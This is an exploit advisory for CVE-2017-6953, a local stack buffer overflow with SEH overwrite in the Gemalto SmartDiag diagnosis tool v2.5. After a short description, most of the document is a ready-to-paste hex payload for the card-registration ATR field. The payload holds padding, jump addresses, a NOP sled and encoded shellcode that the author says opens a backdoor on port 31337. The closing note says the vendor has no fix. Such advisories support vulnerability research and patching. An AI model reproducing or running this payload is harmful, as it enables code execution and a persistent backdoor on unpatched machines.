112 lines
No EOL
5.6 KiB
Text
112 lines
No EOL
5.6 KiB
Text
# Exploit Title: Gemalto SmartDiag Diagnosis Tool <= v2.5 - Buffer Overflow
|
|
- SEH Overwrite
|
|
# Date: 16-03-2017
|
|
# Software Link: http://support.gemalto.com/index.php?id=download_tools
|
|
# Exploit Author: Majid Alqabandi
|
|
# Contact: https://www.linkedin.com/in/majidalqabandi/
|
|
# CVE: CVE-2017-6953
|
|
# Category: Local - command execution - Buffer Overflow - SEH Overwrite.
|
|
# Vendor notified: 17-04-2016
|
|
|
|
1. Description
|
|
SymDiag.exe is vulnerable to buffer overflow, SEH overwrite.
|
|
When trying to (Register a new card), Input fields are vulnerable to stack
|
|
overflow attack which leads to code execution and other possible security
|
|
threats.
|
|
|
|
|
|
|
|
2. Proof of Concept
|
|
|
|
The following PoC is provided code will:
|
|
- Exploit the vulnerability.
|
|
- Execute shell code.
|
|
- Create a backdoor on port 31337.
|
|
|
|
To exploit, start SmartDiag.exe tool, choose "Register a new card", on the
|
|
ATR use the following payload (Tested on Win7x64 & Win8x64 - SmartDiag
|
|
v2.5):
|
|
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
528340005283400052834000528340005283400052834000528340005283
|
|
400052834000528340005283400052834000528340005283400052834000
|
|
52834000528340005283400052834000572b0410477f40008c214100f494
|
|
400041ed40003b4140003552011078ab0110010000009cf2021000100000
|
|
328b031040000000d02203100120400026e6400090909090e2f500109090
|
|
909090909090909090909090909090909090909090909090909090909090
|
|
909090909090909090909090909090909090909090909090909090909090
|
|
909090909090909090909090909090909090909090909090909090909090
|
|
909090909090909090909090909090909090909090909090909090909090
|
|
909090909090909090909090909090909090909090909090909090909090
|
|
9090909090909090ddc1d97424f4bbc4aa698a5833c9b15683e8fc315814
|
|
0358d0489c7630055f87c076e962f1a48de7a378c5aa4ff28b5ec4760450
|
|
6d3c725f6ef0ba33ac92464ee0747681f575bffcf524688aa7d81dce7bd8
|
|
f144c3a2749ab71876cb671630f30c70e102c162dd4d6e50954fa6a8567e
|
|
8667694e0b79ad69f30cc5898e161ef3549283531f046065ccd3e369b990
|
|
ac6d3c74c78ab57b081b8d5f8c4756c1952d39fec68ae65a8c39f3ddcf55
|
|
30d0efa55e638397c1df0b948af9ccdba1be432249bf4ae11defe4c01d64
|
|
f5edc82ba541a28b152212647cad4d947f67f892b153a974b06337ec3d85
|
|
adfe6b1d593d4896fe3eba8a57a9f2c46fd602c3dc7baa8496976fb4a9bd
|
|
c7bf92569dd151c6a2fb016b3060d1e2293f86a39c36425e86e070a35eca
|
|
3078a3d5b90d9ff1a9cb20be9d8376684b6221da253c9eb4a1b9ec06b7c5
|
|
38f15777954468b8714111a4e1aec86c11e550c4baa00154a752fc9bded0
|
|
f46325c87d61614e6e1bfa3b9088fb69AAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
|
|
|
|
3. Solution:
|
|
Vendor has been informed and confirmed the issue, no fix is available yet
|
|
from vendor. |